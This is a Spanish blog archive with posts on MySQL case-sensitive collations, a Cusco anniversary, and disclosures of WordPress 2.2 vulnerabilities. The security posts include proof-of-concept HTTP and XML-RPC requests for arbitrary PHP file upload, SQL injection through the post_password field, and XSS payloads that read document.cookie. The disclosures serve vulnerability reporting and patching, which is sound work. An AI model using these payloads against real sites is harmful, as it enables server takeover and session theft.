Author: alex

Categories
MySQL

Tip: Comparación de cadenas “case sensitive” en MySQL

Antes que nada, un poco de teoría sobre conjuntos de caracteres (charset) y colaciones (collations):

Un conjunto de caracteres es un
conjunto de símbolos y codificaciones. Una
colación es un conjunto de
reglas para comparar caracteres en un conjunto de caracteres.
Vamos a dejar clara la distinción con un ejemplo de un conjunto
de caracteres imaginario.

Supongamos que tenemos un alfabeto con cuatro letras:
'A', 'B',
'a', 'b'. Damos a cada letra
un número: 'A' = 0, 'B' =
1, 'a' = 2, 'b' = 3. La
letra 'A' es un símbolo, el número 0 es la
codificación para
'A', y la combinación de las cuatro letras y
sus codificaciones es un conjunto de
caracteres.

Suponga que queremos comparar dos cadenas de caracteres,
'A' y 'B'. La forma más
fácil de hacerlo es mirar las codificaciones: 0 para
'A' y 1 para 'B'. Ya que 0
es menor a 1, decimos que 'A' es menor que
'B'. Lo que acabamos de hacer es aplicar una
colación a un conjunto de caracteres. La colación es un conjunto
de reglas (sólo una en este caso): “compara las
codificaciones”. LLamamos a la más sencilla de todas las
colaciones una colación binaria.

Pero, ¿qué pasa si queremos decir que las letras en mayúsculas
y minúsculas son equivalentes? Entonces tendríamos como mínimo
dos reglas: (1) tratar las letras minúsuclas
'a' y 'b' como equivalentes
a 'A' y 'B'; (2) luego
comparar las codificaciones. Llamamos a esto una colación
no sensible a mayúsuculas y minúsculas
(case-insensitive). Es un poco más compleja que una
colación binaria.

La forma más sencilla de que las comparaciones que se hacen sobre determinados campos distingan entre mayúsculas y minúsculas, es definir una colación binaria para éstas.

sql:

CREATE TABLE users (
        nick varchar(20) COLLATE utf8_bin,
        name varchar(200)
) DEFAULT CHARACTER SET utf8 COLLATE utf8_spanish_ci
code:

mysql> insert into users values('alex', 'Alex');
Query OK, 1 row affected (0.00 sec)

mysql> select nick from users where nick='alex';
+------+
| nick |
+------+
| alex |
+------+
1 row in set (0.00 sec)

mysql> select nick from users where nick='aleX';
Empty set (0.00 sec)

Pero existe un pequeño detalle con esa alternativa, porque por un motivo que desconozco, los espacios que existen en la parte de la derecha no son tomados en cuenta, es decir:

code:

mysql> select nick from users where nick = 'alex   ';
+------+
| nick |
+------+
| alex |
+------+
1 row in set (0.00 sec)

Para evitar este comportamiento en columnas que tengan o no colación binaria, se puede hacer uso del operador BINARY.

sql:

SELECT nick FROM users WHERE BINARY nick = 'alex   ';

/*
De acuerdo a los comentarios de http://dev.mysql.com/doc/refman/5.0/en/charset-binary-op.html,
la siguiente consulta es mejor para los índices sean usados.
*/
SELECT nick FROM users WHERE nick = BINARY 'alex   ';

code:

mysql> select nick from users where binary nick = 'alex   ';
Empty set (0.00 sec)

Debido a mi falta de conocimiento e interés en MySQL, es posible que en esta entrada -- inspirada en un bug de una aplicación que estoy desarrollando -- haya cometido más errores de los que normalmente cometo :). Tienen los comentarios abiertos por si quieren insultarme corregirme o aportar más información. 😉

Categories
Seguridad Web WordPress

WordPress: Arbitrary File Upload

Nota: Esta vulnerabilidad se corrigió parcialmente en WordPress 2.2.1.

WordPress, como todo blogger que use este CMS debe saber, permite subir sólo determinado tipo de archivos, tarea que en general lo hace bien cuando se usa la interfase Web o XMLRPC de manera estándar.

Los datos de estos archivos, internamente se almacenan en la tabla wp_posts y wp_postmeta: en el primero se guardan el título, descripción y el tipo del archivo, además se asigna el tipo de entrada a post_type=attachment; en la segunda tabla se guarda la ruta del archivo en un campo especial denominado _wp_attached_file, adicionalmente se guardan también otras propiedades del archivo en _wp_attachment_metadata.

Por otro lado, tenemos la posibilidad de agregar campos personalizados para cada entrada o página, los cuales lógicamente son almacenados en la tabla wp_postmeta. Estos campos personalizados, en las versiones vulnerables de WordPress, permiten almacenar cualquier combinación clave=valor sin hacer ningún tipo de validación, es decir cualquiera puede agregar el siguiente campo personalizado a una entrada o página:

code:

clave   : _wp_attached_file
valor   : /home/vulnerable.com/wp/wp-content/uploads/demo.php

En el archivo wp-app.php, existe la siguiente función que permite modificar el contenido de cualquier archivo que hayamos subido usando WordPress:

php:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

Esa función, recibe como parámetro el ID de una entrada, luego intenta obtener la ubicación especificada en _wp_attached_file y a continuación actualiza ese archivo con los datos que hayamos enviado. Esta característica debería estar disponible sólo para aquellas entradas con post_type=attachment, pero como no existe ninguna restricción de ese tipo, es posible usar el campo personalizado que agregamos anteriormente.

code:

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Como mencioné en la entrada anterior, esta vulnerabilidad es muy grave en sitios con WordPress MU instalado, puesto que normalmente cualquier usuario que se registre puede subir archivos al servidor. Preparé un exploit que hace lo mínimo necesario para aprovechar esta vulnerabilidad -- es mi primer script en Perl, así que no esperen mucho. 😉

Categories
.NET Miniposts

Lecturas recomendadas sobre .NET

Algunos enlaces con información variada sobre .NET:

Categories
Perú

Cusco

Disculpen el off-topic, pero hoy es el aniversario de mi pueblo 🙂

Plaza de Armas de Cusco
Plaza de Armas de Cusco (fuente)

Para quienes no conozcan este lugar, hoy también se realiza el tradicional Inti Raymi (Fiesta del Sol) en la fortaleza de Sacsayhuamán:

Ceremonia del Inti Raymi
Ceremonia del Inti Raymi en Sacsayhuamán (fuente)

Cusco los espera con los brazos abiertos si algún día se animan venir 😉

Categories
Sql Injection Web WordPress XSS

XSS, SQL Injection, Arbitrary File Upload en WordPress

A los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que dejan registrar a usuarios (como colaboradores). En vista de que en realidad muchos blogs -- al menos de los que conozco -- tienen esta opción deshabilitada, el radio de acción no es tan grande; sin embargo, estos mismos bugs en páginas que ofrecen blogs gratis basados en WordPress MU, corren mucho riesgo.

  1. XSS: WordPress permite subir sólo cierto tipo de archivos, los cuales son validados en base a la extensión del archivo (ver función wp_check_filetype en wp-includes/functions.php), como no existe ningún proceso que valide el contenido de esos archivos, es posible que éstos puedan contener código javascript incrustado en éste. Por ejemplo, si se hace la siguiente petición a xmlrpc.php:

    code:

    POST /xmlrpc.php HTTP/1.1
    Content-Type: text/plain
    Host: vulnerable.com
    Content-Length: 458

    <methodCall>
            <methodName>wp.uploadFile</methodName>
            <params>
            <param><value>1</value></param>
            <param><value>user</value></param>
            <param><value>password</value></param>
                    <struct>
                            <member><name>name</name><value>demo.gif</value></member>
                            <member><name>type</name><value>image/gif</value></member>
                            <member><name>bits</name><value><![CDATA[<script>alert(document.cookie)</script>]]></value></member>
                    </struct>
            </params>
    </methodCall>

    Puesto que a Internet Explorer le gusta facilitar los ataques XSS, si alguien accede con este navegador a http://victima.com/wp-content/uploads/año/mes/demo.gif, se mostrará un mensaje mostrando las cookies de ese usuario.

  2. SQL Injection: Este problema se presenta en la función mw_editPost de xmlrpc.php, debido a que no escapa los parámetros en el orden adecuado, si revisan el código de esa función, van a encontrar algo parecido a:

    php:

    postdata = wp_get_single_post($post_ID, ARRAY_A);

    // If there is no post data for the give post id, stop
    // now and return an error.  Other wise a new post will be
    // created (which was the old behavior).
    if(empty($postdata["ID"])) {
            return(new IXR_Error(404, __("Invalid post id.")));
    }

    extract($postdata);
    $this->escape($postdata);

    Gracias a este pequeño error, es posible realizar un ataque de inyección de SQL usando el campo post_password (20 caracteres). La siguiente prueba de concepto actualizará todas las entradas con el título foo:

    • Crear una nueva entrada y asignarle como contraseña: '/*
    • Realizar la siguiente petición a xmlrpc.php.
      code:

      POST /wp/xmlrpc.php HTTP/1.1
      User-Agent: Fiddler
      Host: localhost
      Content-Length: 390

      <methodCall>
         <methodName>blogger.newPost</methodName>
         <params>
           <param><value>0</value></param>
           <param><value>0</value></param>
           <param><value>alex</value></param>
           <param><value>1234</value></param>
           <struct>
               <member><name>title</name><value>foo</value></member>
           </struct>
           <param><value>0</value></param>
         </params>
      </methodCall>

    Don't try it at home.

  3. Arbitrary File Upload: Este sin duda es el más grave de todos porque permite a un atacante subir cualquier tipo de archivos, más adelante publicaré los detalles.

  4. XSS: Este bug se basa en lo que comentábamos el otro día sobre XSS y las peculiaridades de los navegadores, están afectadas casi todas las páginas que hacen uso de la función js_escape. Por ejemplo, pueden reproducir el problema en wp-admin/edit-comments.php:

    • Hacer un comentario en alguna entrada y poner como nombre &#x27;)||alert(document.cookie)//
    • Intentar eliminar o marcar como spam ese comentario.

Según la respuesta de uno de los desarrolladores de WordPress, la solución para el primer problema se va a postergar hasta la salida de la versión 2.2.2.

Dado que son varios los cambios que hay que hacer para estar un poco más seguros, les recomiendo que actualicen por lo menos a la versión 2.2.1* ó 2.0.11 para los que todavía sigan en la rama 2.0.

*: durante la edición de esta entrada se reportó otros pequeños problemas de SQL Injection. 😉
Disculpen por el título amarillista, no se me ocurrió otra cosa. 😀